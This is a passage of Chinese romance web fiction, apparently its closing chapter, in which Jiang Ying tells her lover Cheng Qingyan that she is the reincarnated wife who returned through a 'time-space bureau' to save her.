程卿言应了一声,瞧见对方的眼尾泛起了红,抚了抚对方后颈:“怎么了?” 姜映看着她:“我要给你讲故事了,你想听吗?” “当然。”程卿言来这里就是为了听故事,从昨天开始,对方就一直在卖关子,成功勾起了她的兴趣。 姜映说:“我曾经和你认识。” 曾经是什么时候。 程卿言没明白她的意思:“嗯?” 姜映心口微微颤动着:“我其实不是来自时空局,我本来就是这个世界的人,是后来才去的时空局。” 程卿言微微震惊:“你继续说。” “我当时叫苏裕,年纪只比你小了一个月,十六岁就在学校遇见你了,十八岁开始和你谈恋爱,很相爱,几乎没吵过架,在二十五岁的时候就结婚了,在一起这么多年,感情依旧很浓,后来……” 讲到这里时,姜映顿了顿,嗓子发干,心口泛起了疼。 “后来,你的信息素紊乱越来越严重,即使特效药研制出来了,也对你无效,在三十岁那一年…永远离开了我…” 姜映声音哽咽起来,即使做好了准备,女人也在她身旁,只要一想到这件事,她就会控制不住的难受起来。 “次年,我意外去了时空局,做任务攒够积分后,悄悄逃离了时空局,回到了这个世界。” 没有记忆,世上也没了苏裕,吃了很多苦长大成人,只是为了遇见女人,让女人活下去。 当时姜映在做这个决定时,她也不知道她会不会成功,时空局没有先例,一切都是她的冒险尝试。 程卿言听后,愣愣地站在原地,胸腔起伏着,红了眼眶,眼尾晕着眼泪看着姜映。 姜映的眼睛也是红的:“阿卿你别哭,已经没事了。” 她不安慰还好,她一说话,程卿言的眼泪无声滑落,紧紧抱着对方,喉间有了血腥味。 怎么是这样。 怎么可以这样。 姜映为了她,到底付出了多少。 即使忘了她,也要来找她,本能地记得她的习惯,她的爱好,所做的一切都是为了她。 之前只有她能闻见对方的信息素,也不是什么奇迹,而是对方本来就是她的爱人,她的腺体记住了她的爱人。 程卿言不知道她静了多久,可能十分钟,可能二十分钟,也有可能是一个小时。 抱着对方的手在颤抖,终于能发出声音:“姜映……” 姜映:“我在。” “辛苦了。”程卿言抬眸,心疼地看着她。 为了爱她,辛苦了。 姜映摇头:“不辛苦,我不能没有你。” 如果世上没有程卿言,她也无法独活,她既是在爱对方,也是在爱自己。 爱程卿言等于爱自己。 程卿言的心绪一时半会无法平复,但脑子清醒了很多,轻轻道:“你从前叫苏裕,那苏敛懿是你什么人?” 姜映拉着她坐下,缓缓道:“她是我亲姐姐。” 因此在没恢复记忆时,她才会莫名觉得苏敛懿是值得信赖的人,愿意和对方接触。 程卿言心口泛疼,吻了吻女生的眉眼,即使没问,她也知晓对方心里肯定是有遗憾的,不再是苏裕,不能和苏家的人相认。 为了她,重来一次,失去了爱她的家人。 姜映抱着她道:“阿卿我做这一切是心甘情愿的,我们是相伴一生的恋人,你不要觉得愧疚,即使换做是你,你也会为了我付出一切,我们能够重逢,能够继续走一下去,对我而言就是最幸福的事了。” “能和你相爱,我很幸福。” “不要觉得愧疚好不好?” 程卿言心口的疼又融入了一剂甜,缓缓地交织在了一起,看着女生道,坚定道:“我会让你幸福的。” 姜映笑了一下,在她耳边小声说:“那下次在床上你能不能……” 污秽之词,听得让人耳红,程卿言看着女生:“你正经一点。” 正感动着,怎么也能说到那事上。 姜映求她:“阿卿你答应我嘛。” 程卿言这时心很软,纵容地嗯了一声。 姜映笑:“你真好。” “你值得,”程卿言指腹摸了摸女生的脸颊,柔柔道,“和我说说我以前是什么样吧。” 方才女生只讲了事情的大概,细节没有讲,她想知晓对方是苏裕时,她们是如何相爱的。 姜映应了声好,已经理好了以前的事,本来就要讲给女人听,她缓缓开口,从她们初遇那日开始讲起。 以前啊。 事情太多,一夜讲不完。 可以慢慢讲,用一生的时间去倾听。 正文完。《 》